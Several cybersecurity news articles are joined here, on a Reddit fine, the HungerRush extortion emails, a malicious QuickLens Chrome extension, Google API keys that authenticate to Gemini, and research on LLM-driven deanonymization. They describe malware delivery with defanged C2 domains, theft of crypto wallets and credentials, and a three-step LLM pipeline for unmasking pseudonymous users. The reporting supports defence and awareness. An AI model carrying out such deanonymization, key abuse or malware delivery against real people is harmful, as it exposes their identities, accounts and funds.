Reddit Fined Over Children's Data HandlingThe U.K. Information Commissioner's Office (ICO) has fined Reddit £14.47 million for unlawfully processing the personal information of children under the age of 13 and for failing to properly check the age of its users, thereby putting them at risk of being exposed to inappropriate and harmful content online. In July 2025, Reddit introduced age assurance measures that include age verification to access mature content and asking users to declare their age when opening an account. Reddit said it would appeal the decision, stating it doesn't require users to share information about their identities, regardless of age, to ensure users' online privacy and safety. Samsung Restricts TV Data Collection in TexasTexas Attorney General Ken Paxton announced that Samsung will no longer collect Automated Content Recognition (ACR) data without consumers' express consent. The development comes in the wake of a lawsuit filed against the South Korean electronics giant for its data collection practices and over allegations that the collected ACR information could be used to serve targeted ads. "Additionally, it compels Samsung to promptly update its smart TVs and implement disclosures and consent screens that are clear and conspicuous to ensure that Texans can make an informed decision regarding whether their data is collected and how it's used," the Office of the Attorney General said. Samsung has denied it spies on users. NATO Clears Consumer iPhones and iPadsApple iPhones and iPads have been approved to handle classified information in NATO networks. They are the first consumer-grade devices to be approved for NATO use without additional special software or settings. iPhone and iPad previously received approval to handle classified German government data on devices using native iOS and iPadOS security measures following a security evaluation conducted by Germany's Federal Office for Information Security. TikTok Rejects End-to-End Encryption for DMsByteDance's TikTok said it has no plans to add end-to-end encryption (E2EE) to direct messages because it would prevent law enforcement and safety teams from reading messages if necessary. In a statement shared with the BBC, the company said it wanted to protect users, especially young people, from harm. Multi-Stage Phishing Attack Spreads Agent TeslaA new phishing campaign using purchase order lures has leveraged a multi-stage attack chain to deliver Agent Tesla, allowing threat actors to harvest sensitive data, while taking steps to evade detection using techniques like obfuscation and in-memory execution. "From the initial obfuscated JSE loader to the reflective loading of .NET assemblies and process hollowing of legitimate Windows utilities, Agent Tesla is designed to stay invisible," Fortinet FortiGuard Labs said. "Its extensive anti-analysis checks further ensure that it only reveals its true nature when it’s certain it isn't being watched." Attackers Abuse Infrastructure-Only .arpa DomainWith organizations taking steps to tighten their traditional email and web filters, new research from Infoblox has found a novel campaign where actors are abusing the .arpa top-level domain, a space strictly reserved for network infrastructure, to host malicious content and bypass standard blocklists. The development shows cybercriminals are finding "impossible" hiding spots within the internet’s core infrastructure to bypass security, the DNS threat intelligence firm said. Elsewhere, threat actors are also abusing LNK shortcut files and WebDAV to download malicious files on targets' systems. "Because being able to remotely access things on the internet via File Explorer is a relatively unknown functionality to most people, WebDAV is an exploitable way to make people download files without going through a traditional web browser file download," Cofense said. Spoofed Email Chains Target LastPass UsersA new phishing campaign that commenced on March 1, 2026, is using lures related to unauthorized access to individuals' accounts to trick recipients into visiting fake LastPass login pages to take control of their accounts. The attack takes advantage of the fact that many email clients, especially mobile, show only the display name, hiding the real sender address unless users expand it. "Attackers are forwarding fake email chains to make it appear as though another individual is trying to take unauthorized action on their LastPass account (i.e., export vault, full account recovery, new trusted device registered, etc.)," LastPass said. "Attackers use display name spoofing so that the name portion of the sender field is manipulated to impersonate LastPass, while the actual sending email address is unrelated." Experts Warn Against Blind Trust in AI Coding AgentsWith the emergence of tools like Claude Code Security, OX Security is urging users to resist the temptation to outsource judgment, architecture, and validation to a single artificial intelligence (AI) model. "AI doesn't invent fundamentally new code patterns," it said. "It reproduces the most common ones it has seen before. That means it scales not only productivity, but also existing weaknesses in software engineering practice." The cybersecurity company also warned that AI systems may be prone to false positives and may not reliably inform a user if an issue flagged in a single repository is actually exploitable in a complex and unique environment. A pipeline that relies on the same AI system for both writing and reviewing code is not ideal, it added. LLMs Enable Automated Internet DeanonymizationA team of academics from Anthropic, ETH Zurich, and MATS Research has developed large language models (LLMs) that can deanonymize internet users based on past comments or other digital clues they leave behind. "Given two databases of pseudonymous individuals, each containing unstructured text written by or about that individual, we implement a scalable attack pipeline that uses LLMs to: (1) extract identity-relevant features, (2) search for candidate matches via semantic embeddings, and (3) reason over top candidates to verify matches and reduce false positives," the researchers said. The method works even if targets use different pseudonyms across multiple platforms. The researchers said using their LLMs outperforms classical research methods, where digital footprints are examined manually by a human operator. This, in turn, enables fully automated deanonymization attacks that can work on unstructured data at scale, while also reducing the cost and effort that goes into intelligence gathering. "Our results show that the practical obscurity protecting pseudonymous users online no longer holds and that threat models for online privacy need to be reconsidered," the researchers said. "The average online user has long operated under an implicit threat model where they have assumed pseudonymity provides adequate protection because targeted deanonymization would require extensive effort. LLMs invalidate this assumption." That wraps up this week’s quick look at what has been happening across the cybersecurity landscape. Each update on its own may seem small, but together they show how quickly things continue to change. New techniques appear, old tactics evolve, and security decisions from major companies can shift the wider ecosystem. For security teams, researchers, and anyone who follows the threat landscape, keeping track of these signals helps make sense of the bigger picture. Stay tuned for the next edition of the ThreatsDay Bulletin with more developments from the cyber world.

Update: Added HungerRush statement below. Customers of restaurants using the HungerRush point-of-sale (POS) platform say they received emails from a threat actor attempting to extort the company, warning that restaurant and customer data could be exposed if HungerRush fails to respond. HungerRush is a restaurant technology provider that offers point-of-sale (POS), online ordering, delivery management, and payment processing software to help restaurants manage orders, customer information, and business operations. The company claims to work with over 16,000 restaurants, including Sbarro, Jet's Pizza, Fajita Pete's, Hungry Howie's, and many more. Extortion emails sent to restaurant patrons The attacker started sending the emails early Wednesday morning, with multiple recipients sharing samples with BleepingComputer. The first email was sent from [email protected], prompting HungerRush to stop ignoring their extortion emails or it would put customer data at risk. "You cannot ignore all my requests and expect me not to take malicious actions. You still have time," reads the email. "Every restaurant and customer of said restaurants' data which is in the millions is in jeopardy here and I can't even get a response back. Not to worry, there's still time left." A second email, sent three hours later from "[email protected]," escalates the threat, claiming that the attacker has access to data records for millions of customers that contain names, emails, passwords, addresses, phone numbers, dates of birth, and credit card information. BleepingComputer's analysis of the email headers shows they were delivered using Twilio SendGrid, which customers have told BleepingComputer was previously used to send HungerRush restaurant receipts. The emails were sent from o10.e.hungerrush.com (159.183.129.119), which resolves to infrastructure operated by Twilio SendGrid, a platform commonly used by companies to send transactional and marketing emails. The email headers also confirm that the messages passed SPF, DKIM, and DMARC authentication checks for the hungerrush.com domain, as the company's SPF record, shown below, authorizes SendGrid to send emails on their behalf. v=spf1 include:spf.protection.outlook.com include:_spf.salesforce.com include:mail.zendesk.com include:_spf.psm.knowbe4.com include:sendgrid.net include:4750273.spf01.hubspotemail.net -all Numerous people on Reddit have reported receiving the emails, stating that past digital receipts from restaurants showed they used HungerRush's ordering or POS systems. Alon Gal, co-founder and CTO of Hudson Rock, posted on LinkedIn that infostealer logs indicate a HungerRush employee's device was allegedly infected with an infostealer in October 2025, leading to the compromise of credentials. According to Gal, the malware stole numerous corporate credentials, including those for the company's NetSuite, QuickBooks-related services, Stripe dashboards, Bill.com vendor payment systems, Visa Online commercial services, and Salesforce environments. After publishing this story, HungerRush said that this previous infostealer infection is not linked to the breach. For the time being, customers of restaurants using the HungerRush POS system should be on alert for potential phishing emails and SMS texts that abuse the potentially stolen information. HungerRush confirms breach HungerRush confirmed to BleepingComputer that they are aware of the incident and have notified law enforcement. "We are aware of the situation and are actively investigating in coordination with the appropriate authorities," HungerRush told BleepingComputer. "Our teams are working quickly to understand the scope, address the issue, and implement any necessary remediation. Protecting our clients and their customers' data is a top priority, and we are treating this matter with the utmost urgency." In a later update, the company says that the incident is not linked to the infostealer infection seen by Alon Gal. Instead, HungerRush says the threat actor used a third-party vendor's compromised credentials to breach its email marketing service account. This allowed the threat actor to gain access to customer contact information, which was used to send the unauthorized emails. "As a result, certain customer contact information (including names, email addresses, mailing addresses, and phone numbers) was accessed and used to send unauthorized email messages to certain merchants and consumers," HungerRush told BleepingComputer in an updated statement. However, HungerRush disputes the threat actor's claims, stating that no sensitive personal or financial information, such as passwords, dates of birth, Social Security numbers, or payment card information, was exposed in the breach. HungerRush also noted that credit card data is not stored within its systems. Furthermore, the company says there is no evidence that any other systems were compromised, with the breach limited to the email marketing service. "As a precautionary measure, HungerRush disabled access to the affected email service to prevent additional unauthorized messages from being sent while the investigation continues," the company said. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Turns out that LLMs are good at de-anonymization: We show that LLM agents can figure out who you are from your anonymous online posts. Across Hacker News, Reddit, LinkedIn, and anonymized interview transcripts, our method identifies users with high precision ­ and scales to tens of thousands of candidates. While it has been known that individuals can be uniquely identified by surprisingly few attributes, this was often practically limited. Data is often only available in unstructured form and deanonymization used to require human investigators to search and reason based on clues. We show that from a handful of comments, LLMs can infer where you live, what you do, and your interests—then search for you on the web. In our new research, we show that this is not only possible but increasingly practical...

Week in review: Self-spreading npm malware hits developers, Cisco SD-WAN 0-day exploited since 2023 Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Identity verification systems are struggling with synthetic fraud Fake and expired IDs keep showing up in routine customer transactions, from alcohol purchases to credit card applications. The problem shows up most often in industries that depend on fast onboarding and remote transactions, where identity checks rely heavily on scanned documents and automated workflows. Enterprises are racing to secure agentic AI deployments AI assistants are tied into ticketing systems, source code repositories, chat platforms, and cloud dashboards across many enterprises. In some environments, these systems can open pull requests, query internal databases, book services, and trigger automated workflows with limited human involvement. The State of AI Security 2026 from Cisco places this level of access inside a growing pattern of AI-driven operations that connect directly to core business systems. The hidden security cost of treating labs like data centers In this Help Net Security interview, Rich Kellen, VP, CISO at IFF, explains why security teams should not treat OT labs like IT environments. He discusses how compromise can damage scientific integrity and create safety risks that backups cannot fix. AI is becoming part of everyday criminal workflows Underground forums include long threads about chatbots drafting phishing emails, generating code snippets, and coaching social engineering calls. A new study examined conversations captured between January 1, 2025 and July 31, 2025 across dozens of cybercrime forums to map how AI tools are entering day to day criminal operations. AI-driven DAST reduces manual setup and surfaces exploitable vulnerabilities In this Help Net Security interview, Joni Klippert, CEO at StackHawk, discusses what defines DAST coverage in 2026 and why scan completion does not equal security. She explains how AI-driven DAST testing automates attack surface discovery, supports business-logic testing in pre-production, and reduces the manual setup that has limited adoption. Klippert also describes how organizations can implement runtime testing without instrumenting production systems. Review: Digital Forensics, Investigation, and Response, 5th Edition Digital Forensics, Investigation, and Response, 5th Edition presents a structured survey of the digital forensics discipline. The book spans foundational principles, platform specific analysis, specialized branches, and incident response integration. Open-source security debt grows across commercial software Open source code sits inside nearly every commercial application, and development teams continue to add new dependencies. Black Duck’s 2026 Open Source Security and Risk Analysis Report data shows that nearly all audited codebases contain open source components, with average component counts rising sharply over the past year. The $19.5 million insider risk problem Routine employee activity across corporate systems carries an average annual cost of $19.5 million per organization. That figure comes from the 2026 Cost of Insider Risks Global Report, conducted by the Ponemon Institute and based on data from 354 organizations that experienced one or more material insider related incidents over the past year. Industrial networks continue to leak onto the internet Industrial operators continue to run remote access portals, building automation servers, and other operational technology services on public IP address ranges. Palo Alto Networks, Siemens, and Idaho National Laboratory describe the scope of that exposure in the Intelligence-Driven Active Defense Report 2026. DeVry University’s CISO on higher education cybersecurity risk In this Help Net Security interview, Fred Kwong, VP, CISO at DeVry University, outlines how the university balances academic openness with cyber risk. He describes how systems for students are separated from back end operations to limit exposure. Japanese chip-testing toolmaker Advantest suffers ransomware attack Japanese tech testing company Advantest has suffered a ransomware attack, the company confirmed last Thursday, after detecting unusual activity within its IT environment on February 15, 2026. Fake troubleshooting tip on ClawHub leads to infostealer infection A new malware delivery campaign has hit ClawHub, the official online repository for “skills” that augment the capabilities of the popular OpenClaw AI agent. Unlike previous ones, this campaign does not aim to trick users into downloading a bogus, malicious skill. Self-spreading npm malware targets developers in new supply chain attack Security researchers have uncovered another supply chain attack targeting developers: 19 typosquatting npm packages published on npmjs.com that steal credentials, infect projects, and propagate themselves across developer environments. CISA flags exploited FileZen command injection bug, patch now! (CVE-2026-25108) CISA has added CVE-2026-25108, an OS command injection vulnerability in Soliton Systems’ FileZen secure file transfer solution, to its Known Exploited Vulnerabilities (KEV) catalog. The vendor has confirmed active exploitation, stating it has received multiple reports of damage caused by attackers abusing the flaw. SolarWinds Serv-U hit by four critical RCE-level vulnerabilities SolarWinds has fixed four critical vulnerabilities in its popular Serv-U file transfer solution, which is used by businesses and organizations of all sizes. If exploited, the flaws may allow attackers to create a system admin user and/or execute code as a privileged account. Threat actor leveraged Cisco SD-WAN zero-day since 2023 (CVE-2026-20127) A “highly sophisticated” cyber threat actor has been exploiting a zero-day authentication bypass vulnerability (CVE-2026-20127) in Cisco Catalyst SD-WAN Controller (formerly vSmart) and Cisco Catalyst SD-WAN Manager (formerly SD-WAN vManage), Cisco has announced. Scattered Lapsus$ Hunters seeks women for vishing attacks The Scattered Lapsus$ Hunters (SLH) hacking collective has launched a recruitment push aimed specifically at women, offering cash payments for participating in voice-phishing (vishing) attacks. A few days ago, threat intelligence firm Dataminr detected posts on a public Telegram channel advertising roles for female callers willing to conduct social-engineering phone operations. IronCurtain: An open-source, safeguard layer for autonomous AI assistants Veteran security engineer Niels Provos is working on a new technical approach designed to stop autonomous AI agents from taking actions you haven’t specifically authorized. Why SOCs are moving toward autonomous security operations in 2026 The modern security operations center faces a crisis of scale that human effort cannot fix. With alert volumes exponentially growing and threat actors automating their attacks, organizations must pivot to autonomous SOC strategies. This shift to AI-driven defense is the only way to survive the operational realities of 2026. Binding Operational Directive 26-02 sets deadlines for edge device replacement In this Help Net Security video, Jen Sovada, General Manager, Public Sector at Claroty, explains CISA’s Binding Operational Directive 26-02 and what it means for federal agencies. The directive requires agencies to inventory, report, decommission, and replace unsupported edge devices such as firewalls, routers, switches, load balancers, and wireless access points. Police seize 100,000 stolen Facebook credentials in cybercrime raid Officers from Poland’s Central Bureau for Combating Cybercrime (CBZC) dismantled an organized group that used phishing to seize Facebook accounts and extract BLIK payment codes from victims. Spanish police arrest suspected Anonymous members over DDoS attacks on government sites Spanish police (Guardia Civil) arrested four members of the hacktivist group Anonymous Fénix over DDoS attacks targeting ministries, political parties and public institutions. Police identified the organization’s leadership, including its administrator and moderator, who were arrested in May 2025 in Alcalá de Henares (Madrid) and Oviedo (Asturias). Security and complexity slow the next phase of enterprise AI agent adoption Enterprise AI agents are embedded in routine business processes, particularly inside engineering and IT operations. Many organizations report active production deployments, and agent development ranks high on strategic agendas. A new study from Docker, The State of Agentic AI Report, examines how enterprises are deploying agentic systems and the challenges emerging as deployments scale. Microsoft extends security patching for three Windows products at a price Support is ending for three Windows products released in 2016, with deadlines beginning in October 2026. Windows 10 Enterprise LTSB 2016 and Windows 10 IoT Enterprise 2016 LTSB will reach end of support on October 13, 2026, followed by Windows Server 2016 on January 12, 2027. International operation dismantles fraud network, €400,000 seized A coordinated international operation supported by Eurojust dismantled a fraudulent call centre operating from three offices and targeting citizens throughout Europe. Authorities arrested 11 suspects and seized more than €400,000 in cash. Teenagers charged over public bike service breach that exposed 4.62 million records Two South Korean teenagers have been charged in connection with a cyberattack that compromised the personal data of 4.62 million users of Seoul’s public bike service, Ttareungyi. The compromised data included user IDs, mobile phone numbers, addresses, dates of birth, gender, and weight. Airline brands become launchpads for phishing, crypto fraud Airline brands sit at the center of peak travel booking cycles, loyalty programs, and high value transactions. Criminal groups continue to register thousands of lookalike domains tied to these brands, targeting travelers, employees, and business partners. Recent threat intelligence from BforeAI’s PreCrime Labs identifies sustained impersonation activity across the global commercial airline sector. Cyber valuations climb as capital concentrates, AI security expands Venture funding in cybersecurity continued to concentrate in large private rounds at the end of 2025, driving valuations higher across stages. Data from DataTribe shows total capital invested approached $150 billion for the year, with a disproportionate share flowing into fewer than 100 deals. Ex-L3Harris executive sentenced to 87 months for selling stolen cyber-exploit trade secrets Peter Williams, a former executive of Trenchant, L3Harris’ cyber division, has been sentenced to 87 months in prison by a federal judge in Washington, D.C., after pleading guilty to stealing and selling sensitive cyber-exploit trade secrets to a Russian broker. Anthropic’s Remote Control feature brings Claude Code to mobile devices Anthropic has introduced a new Claude Code feature called Remote Control, allowing developers to continue a local coding session from a phone, tablet, or any web browser. The feature is rolling out as a research preview to Max users. Samsung’s Galaxy S26 turns privacy into a visible and invisible feature The Samsung Galaxy S26 series is out, offering plenty of security features that protect personal data while providing users with transparency and control over how their information is used. The feature that grabbed the spotlight is the built-in Privacy Display on the Galaxy S26 Ultra model, designed to help keep on-screen activity out of view in public places. Telegram rises to top spot in job scam activity Encrypted messaging platforms are becoming a primary channel for Authorised Push Payment (APP) fraud, with Telegram representing a growing share of reported cases, according to the Revolut report. NATO greenlights iPhone and iPad for classified information handling Apple confirmed that the iPhone and iPad have been approved for use with classified information in NATO restricted environments. The devices will no longer require special software or settings to handle NATO restricted-level information. Microsoft taps ASUS and Dell for the Windows 365 Cloud PC strategy Microsoft is adding two new Windows 365 Cloud PC devices, the ASUS NUC 16 for Windows 365 and the Dell Pro Desktop for Windows 365, expanding hardware options for its cloud-based desktop service. Both devices are scheduled for release in the third quarter of 2026, with distribution varying by region and model. Meta tightens grip on scam advertisers Meta is stepping up the fight against scams on its platforms by filing multiple lawsuits targeting companies and individuals in Brazil, China, and Vietnam who used deceptive tactics to run scam ads. The company said it has taken technical enforcement actions in these cases, including suspending payment methods used in the scams, disabling accounts linked to those operations, and blocking domains associated with scam sites. Coroot: Open-source observability and APM tool Coroot is an open-source observability and application performance monitoring tool. The core software, published in Go and accompanied by companion repositories such as coroot-node-agent, focuses on collecting telemetry data across systems. It uses extended Berkeley Packet Filter (eBPF) technology to gather metrics and trace inter-service communications without manual instrumentation of application code. Perplexity AI lands on Samsung’s next Galaxy lineup Samsung will add Perplexity to its upcoming Galaxy S26 devices as part of its Galaxy AI multi-agent ecosystem expansion. Users will be able to access Perplexity through quick-access controls, such as pressing and holding the side button, or by using the voice wake phrase “Hey, Plex.” WhatsApp is adding another lock to your account Meta has released WhatsApp Beta for Android 2.26.7.8 through the Google Play Beta Program. The update includes references to password-protected accounts, indicating plans to introduce an additional layer of protection beyond the app’s current authentication options. Windows 365 for Agents brings managed cloud PCs to autonomous workflows Microsoft’s Windows 365 for Agents is a cloud platform that gives AI agents secure access to cloud PCs. It lets builders run copilots, agents, and automated workflows in Windows environments without managing infrastructure. The platform includes security, policy controls, scalability, and visibility so agents can browse websites, process data, and complete tasks inside a managed cloud PC. Microsoft expands Sovereign Cloud security with governance, local productivity and AI Microsoft expands Microsoft Sovereign Cloud with new disconnected and AI capabilities that help organizations run critical infrastructure, productivity services and large AI models inside sovereign boundaries while keeping governance and operational continuity across connected and disconnected environments. Edge systems take the brunt of internet-wide exploitation attempts Internet-facing VPNs, routers, and remote access services absorbed sustained exploitation attempts throughout the second half of 2025, with nearly 3 billion malicious sessions recorded over 162 days. The concentration on edge infrastructure aligns with how attackers pursue initial access across the public internet. Microsoft adds domain libraries and Copilot integration to the quantum development kit The Microsoft Quantum Development Kit (QDK) is an open-source toolkit that runs on laptops and in common development environments. It includes code, simulators, libraries, and workflows that work with Visual Studio Code and GitHub Copilot. Integration with these tools gives developers features for writing, testing, debugging, and submitting quantum code. Apple blocks 18+ app downloads in select markets Apple has introduced expanded age assurance tools to help developers comply with regulations taking effect in Brazil, Australia, Singapore, Utah, and Louisiana. The updates, available in beta, expand the Declared Age Range API and related App Store systems. Reddit fined $19.5 million for failing to protect children’s personal data The UK’s Information Commissioner’s Office (ICO) has fined Reddit $19.5 million after finding that the company failed to use children’s personal information lawfully, exposing them to inappropriate and harmful content. Hottest cybersecurity open-source tools of the month: February 2026 This month’s roundup features exceptional open-source cybersecurity tools that are gaining attention for strengthening security across various environments. Wireshark 4.6.4 resolves dissector flaws, plugin compatibility issue Packet inspection remains a routine activity across enterprise networks, incident response workflows, and malware investigations. Continuous use places long-term stability and parsing accuracy at the center of daily operations. Wireshark version 4.6.4 addresses two vulnerabilities affecting protocol dissectors and resolves a plugin compatibility issue within the 4.6 release series. Fraudsters integrate ChatGPT into global scam campaigns AI models are being folded into fraud and influence operations that follow long standing tactics. A February 2026 update to OpenAI’s Disrupting Malicious Uses of Our Models report details how ChatGPT and related API access were used in romance scams, fake legal services, coordinated influence campaigns, and a state linked harassment effort. AWS Security Hub Extended brings enterprise security under one roof AWS Security Hub Extended is a plan within Security Hub that simplifies how customers procure, deploy, and integrate a full-stack enterprise security solution across endpoint, identity, email, network, data, browser, cloud, AI, and security operations. The CISO role keeps getting heavier Personal liability is becoming a routine part of the CISO job. In Splunk’s 2026 CISO Report, titled From Risk to Resilience in the AI Era, 78% of CISOs said they are concerned about their own liability for security incidents, up from 56% last year. The role carries personal exposure alongside operational accountability, and that shift is influencing how security leaders approach risk, documentation, and board communication. Android app uses Bluetooth signals to detect nearby smart glasses Smart glasses with built-in cameras are showing up in more public spaces, and a growing number of people want a way to know when one is nearby. An Android app called Nearby Glasses, developed by Yves Jeanrenaud, attempts to fill that gap by scanning Bluetooth Low Energy traffic for manufacturer identifiers associated with known smart glasses makers. Ransomware activity peaks outside business hours Intrusions continue to center on credential access and timed execution outside standard business hours. The Sophos Active Adversary Report 2026 analyzes 661 incident response and managed detection and response cases handled between November 1, 2024 and October 31, 2025, spanning organizations in 70 countries. Android 17 second beta expands privacy controls for contacts, SMS and local networks Google’s second beta of Android 17 continues updates to platform behavior and introduces new APIs focused on protecting sensitive data. Europol goes after The Com’s ransomware and extortion networks Law enforcement agencies across 28 countries have spent the past year building cases against a loosely organized collective known as The Com, a decentralized network of mostly teenagers and young adults linked to high-profile ransomware attacks, financial extortion, and the coercion of vulnerable children. Cybersecurity jobs available right now: February 24, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the month: February 2026 Here’s a look at the most interesting products from the past month, featuring releases from Aikido Security, Avast, Armis, Black Duck, Compliance Scorecard, Fingerprint, Gremlin, Impart Security, Portnox, Redpanda, Socure, SpecterOps, Veza, and Virtana.

A Chrome extension named "QuickLens - Search Screen with Google Lens" has been removed from the Chrome Web Store after it was compromised to push malware and attempt to steal crypto from thousands of users. QuickLens was initially published as a Chrome extension that lets users run Google Lens searches directly in their browser. The extension grew to roughly 7,000 users and, at one point, received a featured badge from Google. However, on February 17, 2026, a new version 5.8 was released that contained malicious scripts that introduced ClickFix attacks and info-stealing functionality for those using the extension. The malicious QuickLens extension Security researchers at Annex first reported that the extension had recently changed ownership after being listed for sale on ExtensionHub, a marketplace where developers sell browser extensions. Annex says that on February 1, 2026, the owner changed to [email protected] under "LLC Quick Lens," with a new privacy policy hosted on a barely functional domain. Just over two weeks later, the malicious update was pushed to users. Annex's analysis shows that version 5.8 requested new browser permissions, including declarativeNetRequestWithHostAccess and webRequest. It also included a rules.json file that stripped browser security headers, such as Content-Security-Policy (CSP), X-Frame-Options, and X-XSS-Protection, from all pages and frames. These headers would have made it more difficult to run malicious scripts on websites. The update also introduced communication with a command-and-control (C2) server at api.extensionanalyticspro[.]top. According to Annex, the extension generated a persistent UUID, fingerprinted the victim's country using Cloudflare's trace endpoint, identified the browser and OS, and then polled the C2 server every five minutes for instructions. BleepingComputer learned about the extension this week after seeing numerous users [1, 2] reporting fake Google Update alerts on every web page they visited. "That is appearing in every site i go, i through it could be because Chrome wasn't updated, but even after uptading it continues to appear," a user seeking help said on Reddit. "Of course i will not run the code that it copy on my clipboard on the run box but it keeps appearing in every site, making it impossible to interact with anything." BleepingComputer's analysis of the extension showed it connected to a C2 server at https://api.extensionanalyticspro[.]top/extensions/callback?uuid=[uuid]&extension=kdenlnncndfnhkognokgfpabgkgehoddto, where it received an array of malicious JavaScript scripts. These payloads were then executed on every page load using a technique that Annex described as a "1x1 GIF pixel onload trick." Because the extension stripped CSP headers on all visited sites, this inline JavaScript execution worked even on sites that would normally block it. The first payload contacts google-update[.]icu, where it receives an additional payload that displays a fake Google Update prompt. Clicking the update button would display a ClickFix attack, prompting users to perform a verification by running code on their computers. For Windows users, this led to the download of a malicious executable named "googleupdate.exe" [VirusTotal] that was signed with a certificate from "Hubei Da'e Zhidao Food Technology Co., Ltd." Upon execution, the malware launched a hidden PowerShell command that spawned a second PowerShell instance to connect to drivers[.]solutions/META-INF/xuoa.sys using a custom "Katzilla" user agent. The response was piped into Invoke-Expression for execution. However, by the time BleepingComputer analyzed the payloads, the second-stage URL was no longer serving any malicious content. Another malicious JavaScript "agent" delivered by the https://api.extensionanalyticspro[.]top C2 was used to steal cryptocurrency wallets and credentials. The extension would detect if MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Solflare, Backpack, Brave Wallet, Exodus, Binance Chain Wallet, WalletConnect, and the Argon crypto wallets were installed. If so, it would attempt to steal activity and seed phrases, which would be used to hijack wallets and steal their assets. Another script captured login credentials, payment information, and other sensitive form data. Additional payloads were used to scrape Gmail inbox contents, extract Facebook Business Manager advertising account data, and collect YouTube channel information. A review of the now-removed Chrome extension page claims that macOS users were targeted with the AMOS (Atomic Stealer) infostealer. BleepingComputer has not been able to independently verify if these claims are true. Google has since removed QuickLens from the Chrome Web Store, and Chrome now automatically disables it for affected users. Users who installed QuickLens - Search Screen with Google Lens should ensure the extension is fully removed, scan their device for malware, and reset passwords for any credentials stored in the browser. If you use any of the mentioned cryptocurrency wallets, you should transfer your funds to a new wallet. This extension is not the first to be used in ClickFix attacks. Last month, Huntress discovered a browser extension that intentionally crashed browsers and then displayed fake fixes that installed the ModeloRAT malware. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

New research has found that Google Cloud API keys, typically designated as project identifiers for billing purposes, could be abused to authenticate to sensitive Gemini endpoints and access private data. The findings come from Truffle Security, which discovered nearly 3,000 Google API keys (identified by the prefix "AIza") embedded in client-side code to provide Google-related services like embedded maps on websites. "With a valid key, an attacker can access uploaded files, cached data, and charge LLM-usage to your account," security researcher Joe Leon said, adding the keys "now also authenticate to Gemini even though they were never intended for it." The problem occurs when users enable the Gemini API on a Google Cloud project (i.e., Generative Language API), causing the existing API keys in that project, including those accessible via the website JavaScript code, to gain surreptitious access to Gemini endpoints without any warning or notice. This effectively allows any attacker who scrapes websites to get hold of such API keys and use them for nefarious purposes and quota theft, including accessing sensitive files via the /files and /cachedContents endpoints, as well as making Gemini API calls, racking up huge bills for the victims. In addition, Truffle Security found that creating a new API key in Google Cloud defaults to "Unrestricted," meaning it's applicable for every enabled API in the project, including Gemini. "The result: thousands of API keys that were deployed as benign billing tokens are now live Gemini credentials sitting on the public internet," Leon said. In all, the company said it found 2,863 live keys accessible on the public internet, including a website associated with Google. The disclosure comes as Quokka published a similar report, finding over 35,000 unique Google API keys embedded in its scan of 250,000 Android apps. "Beyond potential cost abuse through automated LLM requests, organizations must also consider how AI-enabled endpoints might interact with prompts, generated content, or connected cloud services in ways that expand the blast radius of a compromised key," the mobile security company said. "Even if no direct customer data is accessible, the combination of inference access, quota consumption, and possible integration with broader Google Cloud resources creates a risk profile that is materially different from the original billing-identifier model developers relied upon." Although the behavior was initially deemed intended, Google has since stepped in to address the problem. "We are aware of this report and have worked with the researchers to address the issue," a Google spokesperson told The Hacker News via email. "Protecting our users' data and infrastructure is our top priority. We have already implemented proactive measures to detect and block leaked API keys that attempt to access the Gemini API." It's currently not known if this issue was ever exploited in the wild. However, in a Reddit post published two days ago, a user claimed a "stolen" Google Cloud API Key resulted in $82,314.44 in charges between February 11 and 12, 2026, up from a regular spend of $180 per month. We have reached out to Google for further comment, and we will update the story if we hear back. Users who have set up Google Cloud projects are advised to check their APIs and services, and verify if artificial intelligence (AI)-related APIs are enabled. If they are enabled and publicly accessible (either in client-side JavaScript or checked into a public repository), make sure the keys are rotated. "Start with your oldest keys first," Truffle Security said. "Those are the most likely to have been deployed publicly under the old guidance that API keys are safe to share, and then retroactively gained Gemini privileges when someone on your team enabled the API." "This is a great example of how risk is dynamic, and how APIs can be over-permissioned after the fact," Tim Erlin, security strategist at Wallarm, said in a statement. "Security testing, vulnerability scanning, and other assessments must be continuous." "APIs are tricky in particular because changes in their operations or the data they can access aren't necessarily vulnerabilities, but they can directly increase risk. The adoption of AI running on these APIs, and using them, only accelerates the problem. Finding vulnerabilities isn't really enough for APIs. Organizations have to profile behavior and data access, identifying anomalies and actively blocking malicious activity."

Reddit fined $19.5 million for failing to protect children’s personal data The UK’s Information Commissioner’s Office (ICO) has fined Reddit $19.5 million after finding that the company failed to use children’s personal information lawfully, exposing them to inappropriate and harmful content. The investigation found that Reddit did not apply an age assurance mechanism and therefore did not have a lawful basis for processing the personal information of children under 13. The company also failed to carry out a data protection impact assessment to assess and mitigate risks to children before January 2025. “Children under 13 had their personal information collected and used in ways they could not understand, consent to, or control. That left them potentially exposed to content they should not have seen,” John Edwards, UK Information Commissioner, explained. In July 2025, Reddit introduced age assurance measures that include age verification for accessing mature content and asking users to declare their age when opening an account. The ICO told Reddit that relying on self-declaration presents risks to children because it is easy to bypass. Edwards continued, “Relying on users to declare their age themselves is not enough when children may be at risk and we are focusing now on companies that are primarily using this method. I therefore strongly encourage industry to take note, reflect on their practices and urgently make any necessary improvements to their platforms.” The Information Commissioner’s Office based the penalty on the number of children affected by the infringement, the risk of harm, the duration of the failings, and Reddit’s global turnover. The ICO is keeping Reddit’s processing of children’s personal information under review as part of its ongoing work on platforms that rely mainly on self-declaration.

